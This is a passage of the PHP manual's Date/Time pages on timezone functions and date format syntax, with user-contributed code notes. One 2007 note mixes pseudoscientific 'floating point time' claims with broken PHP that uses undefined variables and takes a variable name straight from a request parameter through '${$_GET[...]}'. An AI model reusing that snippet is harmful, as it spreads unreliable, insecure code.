    } elseif (preg_match('/\d{4}\-\d{2}\-\d{2} \d{2}:\d{2}:\d{2}/', $mysql_timestamp)
        || preg_match('/\d{2}\-\d{2}\-\d{2} \d{2}:\d{2}:\d{2}/', $mysql_timestamp)
        || preg_match('/\d{4}\-\d{2}\-\d{2}/', $mysql_timestamp)
        || preg_match('/\d{2}\-\d{2}\-\d{2}/', $mysql_timestamp)) {
            $unix_time = strtotime($mysql_timestamp);
    } elseif (preg_match('/(\d{4})(\d{2})(\d{2})/', $mysql_timestamp, $pieces)
        || preg_match('/(\d{2})(\d{2})(\d{2})/', $mysql_timestamp, $pieces)) {
            $unix_time = mktime(0, 0, 0, $pieces[2], $pieces[3], $pieces[1]);
    }
  return $unix_time;
}
?>
lsd25 at hotmail dot com 01-Sep-2007 07:53
I did an article on floating point time you can download from my website. Roun movements is the radial ounion movement and there is a quantum ounion movement as well, this code will generate the data for http://www.chronolabs.org.au/bin/roun-time-article.pdf which is an article on floating point time, I have created the calendar system as well for this time. It is compatible with other time and other solar systems with different revolutions of the planets as well as different quantumy stuff.

Thanks:

<?php
if ($gmt>0){
        $gmt=-$gmt;
    } else {
        $gmt=$gmt+$gmt+$gmt;
    }

    $ptime = strtotime('2008-05-11 10:05 AM')+(60*60*gmt);
    $weight = -20.22222222223+(1*gmt);

    $roun_xa = ($tme)/(24*60*60);
    $roun_ya = $ptime/(24*60*60);
    $roun = (($roun_xa -$roun_ya) - $weight)+(microtime/999999);

    $nonedeficient = array("seq1" => array(31,30,31,30,30,30,31,30,31,30,31,30),
                           "seq2" => array(31,30,31,30,31,30,31,30,31,30,31,30),
                           "seq3" => array(31,30,31,30,30,30,31,30,31,30,31,30),
                           "seq4" => array(31,30,31,30,30,30,31,30,31,30,31,30));

    $deficient =     array("seq1" => array(31,30,31,30,30,30,31,30,31,30,31,30),
                           "seq2" => array(31,30,31,30,31,30,31,30,31,30,31,30),
                           "seq3" => array(31,30,31,30,31,30,31,30,30,30,31,30),
                           "seq4" => array(30,30,31,30,31,30,31,30,31,30,31,30));

    $monthusage = isset($_GET['deficienty']) ? ${$_GET['deficienty']} : $deficient;

    foreach($monthusage as $key => $item){
        $i++;
        foreach($item as $numdays){
            $ttl_num=$ttl_num+$numdays;
        }
    }

    $revolutionsperyear = $ttl_num / $i;
    $numyears = round((round(ceil($roun)) / $revolutionsperyear),0);

    $jtl = abs(abs($roun) - ceil($revolutionsperyear*($numyears+1)));

    while($month==0){
        $day=0;
        foreach($monthusage as $key => $item){
            $t++;
            $u=0;
            foreach($item as $numdays){
                if ($ii<abs($roun)){
                    $isbelow=true;
                }
                $ii=$ii+$numdays;
                if ($ii>abs($roun)){
                    $isabove=true;
                }
                if ($isbelow==true&&$isabove==true){
                    $daynum = floor(($ii-$numday)-abs($roun));
                    $month = $u;
                    $month++;
                    $isbelow=false;
                    $isabove=false;
                    $nodaycount=true;
                }
                if ($nodaycount==false)
                    $day++;
                $u++;
            }
        }

    }

    $timer = substr($roun, strpos($roun,'.')+1,strlen($roun)-strpos($roun,'.')-1);

    $roun_out= $numyears.'-'.$month.'-'.$daynum.' '.$day.".$timer";

?>
send at mail dot 2aj dot net 08-Jun-2006 11:58
If you want to create a "rounded" time stamp, for example, to the nearest 15 minutes use this as a reference:

<?php
$round_numerator = 60 * 15 // 60 seconds per minute * 15 minutes equals 900 seconds
//$round_numerator = 60 * 60 or to the nearest hour
//$round_numerator = 60 * 60 * 24 or to the nearest day

// Calculate time to nearest 15 minutes!
$rounded_time = ( round ( time() / $round_numerator ) * $round_numerator );

//If it was 12:40 this would return the timestamp for 12:45;
//3:04, 3:00; etc.
?>
aidan at php dot net 07-Oct-2005 05:14
A simple function for calculating the number of seconds, minutes, etc in a timestamp is here:
http://aidanlister.com/2004/04/making-time-periods-readable/

Example:
<?php
echo time_duration(100000000);
// 3 years, 2 months, 19 hours, 22 minutes, 16 seconds

echo time_duration(100000000, null, true);
// 3 years, 2 months, 0 weeks, 0 days, 19 hours, 22 minutes, 16 seconds

echo time_duration(100000000, 'yMw');
// 3 years, 2 months

echo time_duration(100000000, 'd');
// 1157 days
?>

It is also worth noting:
* For manipulating arbitrary format, or length timestamps, see the PEAR::Date class.
http://pear.php.net/package/Date/
* PHP 6 will be shipping a new inbuilt date and timestamp manipulation API. It's available on PECL here:
http://pecl.php.net/package/datetime
mayank_arya at hotmail dot com 28-May-2003 06:13
Here's one way to generate all intermediate dates (in mySQL format) between any 2 dates.
Get start and end dates from user input, you'd need to do the basic validations that :
- start and end dates are valid dates
- start date <= end date.

<?php
//start date 2001-02-23
$sm=2;
$sd=23;
$sy=2001;

//end date 2001-03-14
$em=3;
$ed=14;
$ey=2001;

//utc of start and end dates
$s=mktime(0,0,0,$sm, $sd, $sy);
$e=mktime(0,0,0,$em, $ed, $ey);

while($s<=$e){
print date('Y-m-d',$s)."< br >"; //display date in  mySQL format
$s=$s+86400; //increment date by 86400 seconds(1 day)
}

Hope this helps :)

?>
strtotime
timezone_abbreviations_list
Date/Time Functions


Alias of DateTimeZone::listAbbreviations

time
timezone_identifiers_list
Date/Time Functions
PHP Manual

timezone_abbreviations_list

(PHP 5 >= 5.2.0)

timezone_abbreviations_list — Alias of DateTimeZone::listAbbreviations()

Description

This function is an alias of: DateTimeZone::listAbbreviations()

User Contributed Notes

dustinalan 21-Apr-2010 01:58
This was driving me nuts so I'm adding a note here.

Took a while to get the simple time zone abbreviation for a given time zone. If you have the name just do this:

<?php
$dateTime = new DateTime();
$dateTime->setTimeZone(new DateTimeZone('America/Los_Angeles'));
return $dateTime->format('T');
?>

Will return PST

[red.: Or PDT is the current date/time is during Daylight Savings Time]
Chris Danielson 01-Oct-2008 09:46
The mention of using 'US/Pacific-New' is actually a deprecated process.

See here:  http://us.php.net/manual/en/timezones.others.php

Where it is described:

Please do not use any of the timezones listed here (besides UTC), they only exist for backward compatible reasons.
drizzt321 at gmail dot com 20-Aug-2008 09:54
If anyone is confused about the US/Pacific-New that appears in the list, apparently it has something to do with a bill that was that was passed by the House in 1989, but never signed into law. It has to do with delaying the switchover until after the election. Read more about it at http://catless.ncl.ac.uk/Risks/13.87.html and it should be the first posting. Or just do a search for US/Pacific-New.
time
timezone_identifiers_list
Date/Time Functions


Alias of DateTimeZone::listIdentifiers

timezone_abbreviations_list
timezone_location_get
Date/Time Functions
PHP Manual

timezone_identifiers_list

(PHP 5 >= 5.2.0)

timezone_identifiers_list — Alias of DateTimeZone::listIdentifiers()

Description

This function is an alias of: DateTimeZone::listIdentifiers()

User Contributed Notes

paul at burney dot ws 06-May-2009 01:33
Please note that the timezone_identifiers_list function is not available in the most recent versions of PHP available for CentOS/RHEL as of this writing ( 5.1.6-23.2.el5_3 ).

I think the function is labeled as >= 5.1.0 in this documentation because it's possible to get the Date::Time class installed in 5.1 if you're compiling from scratch (or it's a documentation error).

I just spent a bunch of time trying to get it to work in 5.1 (installing timezonedb manually because the default PECL runs out of memory, etc.), but have decided to use a manually generated list instead. The actual timezone support seems to work fine in 5.1.
david at mytton dot net 22-Feb-2009 08:11
A better code snippet to return useful timezone information that can be used in a drop menu, for example:

<?php
$zones = timezone_identifiers_list();

foreach ($zones as $zone)
{
    $zone = explode('/', $zone); // 0 => Continent, 1 => City

    // Only use "friendly" continent names
    if ($zone[0] == 'Africa' || $zone[0] == 'America' || $zone[0] == 'Antarctica' || $zone[0] == 'Arctic' || $zone[0] == 'Asia' || $zone[0] == 'Atlantic' || $zone[0] == 'Australia' || $zone[0] == 'Europe' || $zone[0] == 'Indian' || $zone[0] == 'Pacific')
    {
        if (isset($zone[1]) != '')
        {
            $locations[$zone[0]][$zone[0]. '/' . $zone[1]] = str_replace('_', ' ', $zone[1]); // Creates array(DateTimeZone => 'Friendly name')
        }
    }
}
?>

The $locations array will contain a multi-dimensional array for each continent like

Array
(
    [Africa] => Array
        (
            [Africa/Abidjan] => Abidjan
            [Africa/Accra] => Accra
            [Africa/Addis_Ababa] => Addis Ababa
            [Africa/Algiers] => Algiers
            ...
        )
    [America] => Array
        (
            [America/Adak] => Adak
            [America/Anchorage] => Anchorage
            [America/Anguilla] => Anguilla
            ...
vats_tco at comcast dot net 19-Nov-2007 10:14
This is the updated code from below. This one has been debugged so it doesn't receive any warnings or errors like the code below will receive. Hope this helps.

<?php
function get_tz_options($selectedzone, $label, $desc = '')
{
  echo '<div class="label"><label for="edited_user_timezone">'.$label.':</label></div>';
  echo '<div class="input"><select name="edited_user_timezone">';
  function timezonechoice($selectedzone) {
    $all = timezone_identifiers_list();

    $i = 0;
    foreach($all AS $zone) {
      $zone = explode('/',$zone);
      $zonen[$i]['continent'] = isset($zone[0]) ? $zone[0] : '';
      $zonen[$i]['city'] = isset($zone[1]) ? $zone[1] : '';
      $zonen[$i]['subcity'] = isset($zone[2]) ? $zone[2] : '';
      $i++;
    }

    asort($zonen);
    $structure = '';
    foreach($zonen AS $zone) {
      extract($zone);
      if($continent == 'Africa' || $continent == 'America' || $continent == 'Antarctica' || $continent == 'Arctic' || $continent == 'Asia' || $continent == 'Atlantic' || $continent == 'Australia' || $continent == 'Europe' || $continent == 'Indian' || $continent == 'Pacific') {
        if(!isset($selectcontinent)) {
          $structure .= '<optgroup label="'.$continent.'">'; // continent
        } elseif($selectcontinent != $continent) {
          $structure .= '</optgroup><optgroup label="'.$continent.'">'; // continent
        }

        if(isset($city) != ''){
          if (!empty($subcity) != ''){
            $city = $city . '/'. $subcity;
          }
          $structure .= "<option ".((($continent.'/'.$city)==$selectedzone)?'selected="selected "':'')." value=\"".($continent.'/'.$city)."\">".str_replace('_',' ',$city)."</option>"; //Timezone
        } else {
          if (!empty($subcity) != ''){
            $city = $city . '/'. $subcity;
          }
          $structure .= "<option ".(($continent==$selectedzone)?'selected="selected "':'')." value=\"".$continent."\">".$continent."</option>"; //Timezone
        }

        $selectcontinent = $continent;
      }
    }
    $structure .= '</optgroup>';
    return $structure;
  }
  echo timezonechoice($selectedzone);
  echo '</select>';
  echo '<span class="notes"> '.$desc.' </span></div>';
}
?>
timezone_abbreviations_list
timezone_location_get
Date/Time Functions


Alias of DateTimeZone::getLocation

timezone_identifiers_list
timezone_name_from_abbr
Date/Time Functions
PHP Manual

timezone_location_get

(PHP 5 >= 5.3.0)

timezone_location_get — Alias of DateTimeZone::getLocation()

Description

This function is an alias of: DateTimeZone::getLocation()

User Contributed Notes

There are no user contributed notes for this page.
timezone_identifiers_list
timezone_name_from_abbr
Date/Time Functions


Returns the timezone name from abbreviation

timezone_location_get
timezone_name_get
Date/Time Functions
PHP Manual

timezone_name_from_abbr

(PHP 5 >= 5.1.3)

timezone_name_from_abbr — Returns the timezone name from abbreviation

Description

string timezone_name_from_abbr ( string $abbr [, int $gmtOffset = -1 [, int $isdst = -1 ]] )

Parameters

abbr

Time zone abbreviation.

gmtOffset

Offset from GMT in seconds. Defaults to -1 which means that first found time zone corresponding to abbr is returned. Otherwise exact offset is searched and only if not found then the first time zone with any offset is returned.

isdst

Daylight saving time indicator. Defaults to -1, which means that whether the time zone has daylight saving or not is not taken into consideration when searching. If this is set to 1, then the gmtOffset is assumed to be an offset with daylight saving in effect; if 0, then gmtOffset is assumed to be an offset without daylight saving in effect. If abbr doesn't exist then the time zone is searched solely by the gmtOffset and isdst.

Return Values

Returns time zone name on success or FALSE on failure.

Examples

Example #1 A timezone_name_from_abbr() example

<?php
echo timezone_name_from_abbr("CET") . "\n";
echo timezone_name_from_abbr("", 3600, 0) . "\n";
?>

The above example will output something similar to:

Europe/Berlin
Europe/Paris

See Also

  • timezone_abbreviations_list() - Alias of DateTimeZone::listAbbreviations

User Contributed Notes

Master Tablu 24-Feb-2009 07:03
Another way to do this is to wrap the function in a class that extends the DateTimeZone class:

<?php

/**
 * Helps with timezones.
 * @link http://us.php.net/manual/en/class.datetimezone.php
 *
 * @package  Date
 */
class Helper_DateTimeZone extends DateTimeZone
{
    /**
     * Converts a timezone hourly offset to its timezone's name.
     * @example $offset = -5, $isDst = 0 <=> return value = 'America/New_York'
     *
     * @param float $offset The timezone's offset in hours.
     *                      Lowest value: -12 (Pacific/Kwajalein)
     *                      Highest value: 14 (Pacific/Kiritimati)
     * @param bool  $isDst  Is the offset for the timezone when it's in daylight
     *                      savings time?
     *
     * @return string The name of the timezone: 'Asia/Tokyo', 'Europe/Paris', ...
     */
    final public static function tzOffsetToName($offset, $isDst = null)
    {
        if ($isDst === null)
        {
            $isDst = date('I');
        }

        $offset *= 3600;
        $zone    = timezone_name_from_abbr('', $offset, $isDst);

        if ($zone === false)
        {
            foreach (timezone_abbreviations_list() as $abbr)
            {
                foreach ($abbr as $city)
                {
                    if ((bool)$city['dst'] === (bool)$isDst &&
                        strlen($city['timezone_id']) > 0    &&
                        $city['offset'] == $offset)
                    {
                        $zone = $city['timezone_id'];
                        break;
                    }
                }

                if ($zone !== false)
                {
                    break;
                }
            }
        }

        return $zone;
    }
}
?>

Then you could do something like this:

<?php
$Dtz = new Helper_DateTimeZone(Helper_DateTimeZone::tzOffsetToName(-5));
var_dump($Dtz->getName());

string(16) "America/New_York"
?>
chris at mretc dot net 10-Nov-2008 05:25
timezone_name_from_abbr() sometimes returns FALSE instead of an actual timezone: http://bugs.php.net/44780

It's possible to workaround it for some cases by getting the timezone name from timezone_abbreviations_list(). For example, if you have the GMT offset and want a timezone name:

<?php
/* Takes a GMT offset (in hours) and returns a timezone name */
function tz_offset_to_name($offset)
{
        $offset *= 3600; // convert hour offset to seconds
        $abbrarray = timezone_abbreviations_list();
        foreach ($abbrarray as $abbr)
        {
                foreach ($abbr as $city)
                {
                        if ($city['offset'] == $offset)
                        {
                                return $city['timezone_id'];
                        }
                }
        }

        return FALSE;
}
?>
timezone_location_get
timezone_name_get
Date/Time Functions


Alias of DateTimeZone::getName

timezone_name_from_abbr
timezone_offset_get
Date/Time Functions
PHP Manual

timezone_name_get

(PHP 5 >= 5.2.0)

timezone_name_get — Alias of DateTimeZone::getName()

Description

This function is an alias of: DateTimeZone::getName()

User Contributed Notes

There are no user contributed notes for this page.
timezone_name_from_abbr
timezone_offset_get
Date/Time Functions


Alias of DateTimeZone::getOffset

timezone_name_get
timezone_open
Date/Time Functions
PHP Manual

timezone_offset_get

(PHP 5 >= 5.2.0)

timezone_offset_get — Alias of DateTimeZone::getOffset()

Description

This function is an alias of: DateTimeZone::getOffset()

User Contributed Notes

[d][a][n][at][authenticdesign][.][net] 22-May-2008 03:02
Hi,
This might help someone with timezone differences. I wanted to find the offset in seconds between my timezone and a remote timezone so I wrote this function and it seems to work well for me.

<?php
/**    Returns the offset from the origin timezone to the remote timezone, in seconds.
*    @param $remote_tz;
*    @param $origin_tz; If null the servers current timezone is used as the origin.
*    @return int;
*/
function get_timezone_offset($remote_tz, $origin_tz = null) {
    if($origin_tz === null) {
        if(!is_string($origin_tz = date_default_timezone_get())) {
            return false; // A UTC timestamp was returned -- bail out!
        }
    }
    $origin_dtz = new DateTimeZone($origin_tz);
    $remote_dtz = new DateTimeZone($remote_tz);
    $origin_dt = new DateTime("now", $origin_dtz);
    $remote_dt = new DateTime("now", $remote_dtz);
    $offset = $origin_dtz->getOffset($origin_dt) - $remote_dtz->getOffset($remote_dt);
    return $offset;
}
?>
Examples:
<?php
// This will return 10800 (3 hours) ...
$offset = get_timezone_offset('America/Los_Angeles','America/New_York');
// or, if your server time is already set to 'America/New_York'...
$offset = get_timezone_offset('America/Los_Angeles');
// You can then take $offset and adjust your timestamp.
$offset_time = time() + $offset;
?>

Happy Coding!!
richard at phase dot org 20-Mar-2007 03:05
The following extended example may make the usage clearer;
<?php
// Create two timezone objects, one for Taipei (Taiwan) and one for
// Tokyo (Japan)
$dateTimeZoneTaipei = new DateTimeZone("Asia/Taipei");
$dateTimeZoneJapan = new DateTimeZone("Asia/Tokyo");

// Create two DateTime objects that will contain the same Unix timestamp, but
// have different timezones attached to them.
$dateTimeTaipei = new DateTime("now", $dateTimeZoneTaipei);
$dateTimeJapan = new DateTime("now", $dateTimeZoneJapan);

// NOTE: $dateTimeJapan is not used further in this example

// Calculate the GMT offset for the date/time contained in the $dateTimeTaipei
// object, but using the timezone rules as defined for Tokyo
// ($dateTimeZoneJapan).
$timeOffset = $dateTimeZoneJapan->getOffset($dateTimeTaipei);

// Should show int(32400) (for dates after Sat Sep 8 01:00:00 1951 JST).
print("Number of seconds Japan is ahead of GMT at the specific time: ");
var_dump($timeOffset);

print("<br />Number of seconds Taipei is ahead of GMT at the specific time: ");
var_dump($dateTimeZoneTaipei->getOffset($dateTimeTaipei));

print("<br />Number of seconds Japan is ahead of Taipei at the specific time: ");
var_dump($dateTimeZoneJapan->getOffset($dateTimeTaipei)
     -$dateTimeZoneTaipei->getOffset($dateTimeTaipei));

print("<hr />");

?>

Number of seconds Japan is ahead of GMT at the specific time: int(32400)
Number of seconds Taipei is ahead of GMT at the specific time: int(28800)
Number of seconds Japan is ahead of Taipei at the specific time: int(3600)
timezone_name_get
timezone_open
Date/Time Functions


Alias of DateTimeZone::__construct

timezone_offset_get
timezone_transitions_get
Date/Time Functions
PHP Manual

timezone_open

(PHP 5 >= 5.2.0)

timezone_open — Alias of DateTimeZone::__construct()

Description

This function is an alias of: DateTimeZone::__construct()

User Contributed Notes

There are no user contributed notes for this page.
timezone_offset_get
timezone_transitions_get
Date/Time Functions


Alias of DateTimeZone::getTransitions

timezone_open
timezone_version_get
Date/Time Functions
PHP Manual

timezone_transitions_get

(PHP 5 >= 5.2.0)

timezone_transitions_get — Alias of DateTimeZone::getTransitions()

Description

This function is an alias of: DateTimeZone::getTransitions()

User Contributed Notes

gopalv at php dot net 19-Jun-2007 01:10
From Derick's talk (http://talks.php.net/show/time-ffm2006/28)

<?php
$tz = new DateTimeZone("PST");

foreach (timezone_transitions_get($tz) as $tr)
    if ($tr['ts'] > time())
        break;

$d = new DateTime( "@{$tr['ts']}" );
printf("The timezone %s switches to %s on %s.<br/>The new GMT offset will be: %d (%s)\n",
    $tz->getName(), $tr['isdst'] ? "DST" : "standard time",
    $d->format('d M Y @ H:i'), $tr['offset'], $tr['abbr']
);
?>
timezone_open
timezone_version_get
Date/Time Functions


Gets the version of the timezonedb

timezone_transitions_get
Supported Date and Time Formats
Date/Time Functions
PHP Manual

timezone_version_get

(PHP 5 >= 5.3.0)

timezone_version_get — Gets the version of the timezonedb

Description

string timezone_version_get ( void )

Returns the current version of the timezonedb.

Return Values

Returns a string.

Examples

Example #1 Getting the timezonedb version

<?php
echo timezone_version_get();
?>

The above example will output something similar to:

2009.7

See Also

  • List of Supported Timezones

User Contributed Notes

Omar 14-Sep-2011 10:15
On Ubutu:
If you get 0.system for the version, this means you have the version that PHP shipped with. For a newer version, you must upgrade via the PECL extension (sudo pecl install timezonedb)

http://pecl.php.net/package/timezonedb
Ubuntu 16-Jun-2011 10:35
On Ubuntu 11.04 it returns the string "0.system".
timezone_transitions_get
Supported Date and Time Formats
Date/Time Functions


Supported Date and Time Formats

Table of Contents

  • Time Formats
  • Date Formats
  • Compound Formats
  • Relative Formats

This section describes all the different formats that the strtotime(), DateTime and date_create() parser understands. The formats are grouped by section. In most cases formats from different sections can be used in the same date/time string. For each of the supported formats, one or more examples are given, as well as a description for the format. Characters in single quotes in the formats are case-insensitive ('t' could be t or T), characters in double quotes are case-sensitive ("T" is only T).

User Contributed Notes

There are no user contributed notes for this page.
timezone_version_get
Time Formats
Date/Time


Time Formats

Used Symbols
Description | Formats | Examples
frac | . [0-9]+ | ".21342", ".85"
hh | "0"?[1-9] | "1"[0-2] | "04", "7", "12"
HH | [01][0-9] | "2"[0-4] | "04", "7", "19"
meridian | [AaPp] .? [Mm] .? [\0\t ] | "A.m.", "pM", "am."
MM | [0-5][0-9] | "00", "12", "59"
II | [0-5][0-9] | "00", "12", "59"
space | [ \t] |
tz | "("? [A-Za-z]{1,6} ")"? | [A-Z][a-z]+([_/][A-Z][a-z]+)+ | "CEST", "Europe/Amsterdam", "America/Indiana/Knox"
tzcorrection | "GMT"? [+-] hh ":"? MM? | "+0400", "GMT-07:00", "-07:00"
12 Hour Notation
Description | Format | Examples
Hour only, with meridian | hh space? meridian | "4 am", "5PM"
Hour and minutes, with meridian | hh [.:] MM space? meridian | "4:08 am", "7:19P.M."
Hour, minutes and seconds, with meridian | hh [.:] MM [.:] II space? meridian | "4:08:37 am", "7:19:19P.M."
MS SQL (Hour, minutes, seconds and fraction with meridian), PHP 5.3 and later only | hh ":" MM ":" II [.:] [0-9]+ meridian | "4:08:39:12313am"
24 Hour Notation
Description | Format | Examples
Hour and minutes | 't'? HH [.:] MM | "04:08", "19.19", "T23:43"
Hour and minutes, no colon | 't'? HH MM | "0408", "t1919", "T2343"
Hour, minutes and seconds | 't'? HH [.:] MM [.:] II | "04.08.37", "t19:19:19"
Hour, minutes and seconds, no colon | 't'? HH MM II | "040837", "T191919"
Hour, minutes, seconds and timezone | 't'? HH [.:] MM [.:] II space? ( tzcorrection | tz ) | "040837CEST", "T191919-0700"
Hour, minutes, seconds and fraction | 't'? HH [.:] MM [.:] II frac | "04.08.37.81412", "19:19:19.532453"
Time zone information | tz | tzcorrection | "CEST", "Europe/Amsterdam", "+0430", "GMT-06:00"

User Contributed Notes

There are no user contributed notes for this page.
Supported Date and Time Formats
Date Formats
Supported Date and Time Formats


Date Formats

Used Symbols
Description | Format | Examples
daysuf | "st" | "nd" | "rd" | "th" |
dd | ([0-2]?[0-9] | "3"[01]) daysuf? | "7th", "22nd", "31"
DD | "0" [0-9] | [1-2][0-9] | "3" [01] | "07", "31"
m | 'january' | 'february' | 'march' | 'april' | 'may' | 'june' | 'july' | 'august' | 'september' | 'october' | 'november' | 'december' | 'jan' | 'feb' | 'mar' | 'apr' | 'may' | 'jun' | 'jul' | 'aug' | 'sep' | 'sept' | 'oct' | 'nov' | 'dec' | "I" | "II" | "III" | "IV" | "V" | "VI" | "VII" | "VIII" | "IX" | "X" | "XI" | "XII" |
M | 'jan' | 'feb' | 'mar' | 'apr' | 'may' | 'jun' | 'jul' | 'aug' | 'sep' | 'sept' | 'oct' | 'nov' | 'dec' |
mm | "0"? [0-9] | "1"[0-2] | "0", "04", "7", "12"
MM | "0" [0-9] | "1"[0-2] | "00", "04", "07", "12"
y | [0-9]{1,4} | "00", "78", "08", "8", "2008"
yy | [0-9]{2} | "00", "08", "78"
YY | [0-9]{4} | "2000", "2008", "1978"
Localized Notations
Description | Format | Examples
American month and day | mm "/" dd | "5/12", "10/27"
American month, day and year | mm "/" dd "/" y | "12/22/78", "1/17/2006", "1/17/6"
Four digit year, month and day with slashes | YY "/" mm "/" dd | "2008/6/30", "1978/12/22"
Four digit year and month (GNU) | YY "-" mm | "2008-6", "2008-06", "1978-12"
Year, month and day with dashes | y "-" mm "-" dd | "2008-6-30", "78-12-22", "8-6-21"
Day, month and four digit year, with dots, tabs or dashes | dd [.\t-] mm [.-] YY | "30-6-2008", "22.12\t1978"
Day, month and two digit year, with dots or tabs | dd [.\t] mm "." yy | "30.6.08", "22\t12\t78"
Day, textual month and year | dd ([ \t.-])* m ([ \t.-])* y | "30-June 2008", "22DEC78", "14 III 1879"
Textual month and four digit year (Day reset to 1) | m ([ \t.-])* YY | "June 2008", "DEC1978", "March 1879"
Four digit year and textual month (Day reset to 1) | YY ([ \t.-])* m | "2008 June", "1978-XII", "1879.MArCH"
Textual month, day and year | m ([ .\t-])* dd [,.stndrh\t ]+ y | "July 1st, 2008", "April 17, 1790", "May.9,78"
Textual month and day | m ([ .\t-])* dd [,.stndrh\t ]* | "July 1st,", "Apr 17", "May.9"
Day and textual month | d ([ .\t-])* m | "1 July", "17 Apr", "9.May"
Month abbreviation, day and year | M "-" DD "-" y | "May-09-78", "Apr-17-1790"
Year, month abbreviation and day | y "-" M "-" DD | "78-Dec-22", "1814-MAY-17"
Year (and just the year) | YY | "1978", "2008"
Textual month (and just the month) | m | "March", "jun", "DEC"
ISO8601 Notations
Description | Format | Examples
Eight digit year, month and day | YY MM DD | "15810726", "19780417", "18140517"
Four digit year, month and day with slashes | YY "/" MM "/" DD | "2008/06/30", "1978/12/22"
Two digit year, month and day with dashes | yy "-" MM "-" DD | "08-06-30", "78-12-22"
Four digit year with optional sign, month and day | [+-]? YY "-" MM "-" DD | "-0002-07-26", "+1978-04-17", "1814-05-17"

Note:

For the y and yy formats, years below 100 are handled in a special way when the y or yy symbol is used. If the year falls in the range 0 (inclusive) to 69 (inclusive), 2000 is added. If the year falls in the range 70 (inclusive) to 99 (inclusive) then 1900 is added. This means that "00-01-01" is interpreted as "2000-01-01".

Note:

The "Day, month and two digit year, with dots or tabs" format (dd [.\t] mm "." yy) only works for the year values 61 (inclusive) to 99 (inclusive) - outside those years the time format "HH [.:] MM [.:] SS" has precedence.

Note:

The "Year (and just the year)" format only works if a time string has already been found -- otherwise this format is recognised as HH MM.

Note:

It is possible to over- and underflow the dd and DD format. Day 0 means the last day of previous month, whereas overflows count into the next month. This makes "2008-08-00" equivalent to "2008-07-31" and "2008-06-31" equivalent to "2008-07-01" (June only has 30 days).

It is also possible to underflow the mm and MM formats with the value 0. A month value of 0 means December of the previous year. As example "2008-00-22" is equivalent to "2007-12-22".

If you combine the previous two facts and underflow both the day and the month, the following happens: "2008-00-00" first gets converted to "2007-12-00" which then gets converted to "2007-11-30". This also happens with the string "0000-00-00", which gets transformed into "-0001-11-30" (the year -1 in the ISO 8601 calendar, which is 2 BC in the proleptic Gregorian calendar).

User Contributed Notes

dump dot array at gmail dot com 03-Jan-2012 04:35
you can also do:
<?php date("Y-m-d", strtotime("2011-W17 Saturday")) . "\n"; ?>
rsoucy at crystalforge dot com 22-Dec-2011 11:23
Within the formats listed under localized notations, all of the periods within brackets should be escaped as they match actual periods and not the regex "any character".

There's a very big difference between [.\t] and [\.\t].
from_php at puggan dot se 30-Apr-2011 03:33
the "yeer-week-weekday" format also works, at least whit strtotime().

exemple Saturday the 17 week in 2011:
<?php echo date("Y-m-d", strtotime("2011-W17-6")) . "\n"; ?>
Time Formats
Compound Formats
Supported Date and Time Formats


Compound Formats

Used Symbols
Description | Formats | Examples
DD | "0" [0-9] | [1-2][0-9] | "3" [01] | "02", "12", "31"
doy | "00"[1-9] | "0"[1-9][0-9] | [1-2][0-9][0-9] | "3"[0-5][0-9] | "36"[0-6] | "36"[0-6] "000", "012", "366"
frac | . [0-9]+ | ".21342", ".85"
hh | "0"?[1-9] | "1"[0-2] | "04", "7", "12"
HH | [01][0-9] | "2"[0-4] | "04", "7", "19"
meridian | [AaPp] .? [Mm] .? [\0\t ] | "A.m.", "pM", "am."
ii | [0-5][0-9] | "04", "8", "59"
II | [0-5][0-9] | "04", "08", "59"
M | 'jan' | 'feb' | 'mar' | 'apr' | 'may' | 'jun' | 'jul' | 'aug' | 'sep' | 'sept' | 'oct' | 'nov' | 'dec' |
MM | [0-5][0-9] | "00", "12", "59"
space | [ \t] |
ss | [0-5][0-9] | "04", "8", "59"
SS | [0-5][0-9] | "04", "08", "59"
W | "0"[1-9] | [1-4][0-9] | "5"[0-3] | "05", "17", "53"
tzcorrection | "GMT"? [+-] hh ":"? MM? | "+0400", "GMT-07:00", "-07:00"
YY | [0-9]{4} | "2000", "2008", "1978"
Localized Notations
Description | Format | Examples
Common Log Format | dd "/" M "/" YY : HH ":" II ":" SS space tzcorrection | "10/Oct/2000:13:55:36 -0700"
EXIF | YY ":" MM ":" DD " " HH ":" II ":" SS | "2008:08:07 18:11:31"
ISO year with ISO week | YY "-"? "W" W | "2008W27", "2008-W28"
ISO year with ISO week and day | YY "-"? "W" W "-"? [0-7] | "2008W273", "2008-W28-3"
MySQL | YY "-" MM "-" DD " " HH ":" II ":" SS | "2008-08-07 18:11:31"
PostgreSQL: Year with day-of-year | YY "."? doy | "2008.197", "2008197"
SOAP | YY "-" MM "-" DD "T" HH ":" II ":" SS frac tzcorrection? | "2008-07-01T22:35:17.02", "2008-07-01T22:35:17.03+08:00"
Unix Timestamp | "@" "-"? [0-9]+ | "@1215282385"
XMLRPC | YY MM DD "T" hh ":" II ":" SS | "20080701T22:38:07", "20080701T9:38:07"
XMLRPC (Compact) | YY MM DD 't' hh II SS | "20080701t223807", "20080701T093807"
WDDX | YY "-" mm "-" dd "T" hh ":" ii ":" ss | "2008-7-1T9:3:37"

Note:

The "W" in the "ISO year with ISO week" and "ISO year with ISO week and day" formats is case-sensitive, you can only use the upper case "W".

The "T" in the SOAP, XMRPC and WDDX formats is case-sensitive, you can only use the upper case "T".

User Contributed Notes

aaron at kanuck dot net 21-Sep-2010 12:19
"Note that the localized format referred to in this list as "SOAP" is the ISO 8601 standard format for dates and times."

This isn't quite correct. ISO 8601 specifies numerous formats for both date and time; and for compound date and time, you can use any date format and any time format, with the two joined together by the letter "T".

If you wanted to write "2009T12", that would be noon on the first day of 2009, and it would be a valid ISO 8601 timestamp.
Hayley Watson 25-May-2010 02:41
Note that the localized format referred to in this list as "SOAP" is the ISO 8601 standard format for dates and times.
Date Formats
Relative Formats
Supported Date and Time Formats


Relative Formats

Used Symbols
Description | Format
dayname | 'sunday' | 'monday' | 'tuesday' | 'wednesday' | 'thursday' | 'friday' | 'saturday' | 'sun' | 'mon' | 'tue' | 'wed' | 'thu' | 'fri' | 'sat' | 'sun'
daytext | 'weekday' | 'weekdays'
number | [+-]?[0-9]+
ordinal | 'first' | 'second' | 'third' | 'fourth' | 'fifth' | 'sixth' | 'seventh' | 'eighth' | 'ninth' | 'tenth' | 'eleventh' | 'twelfth' | 'next' | 'last' | 'previous' | 'this'
reltext | 'next' | 'last' | 'previous' | 'this'
space | [ \t]+
unit | (('sec' | 'second' | 'min' | 'minute' | 'hour' | 'day' | 'fortnight' | 'forthnight' | 'month' | 'year') 's'?) | 'weeks' | daytext
Day-based Notations
Format | Description | Examples
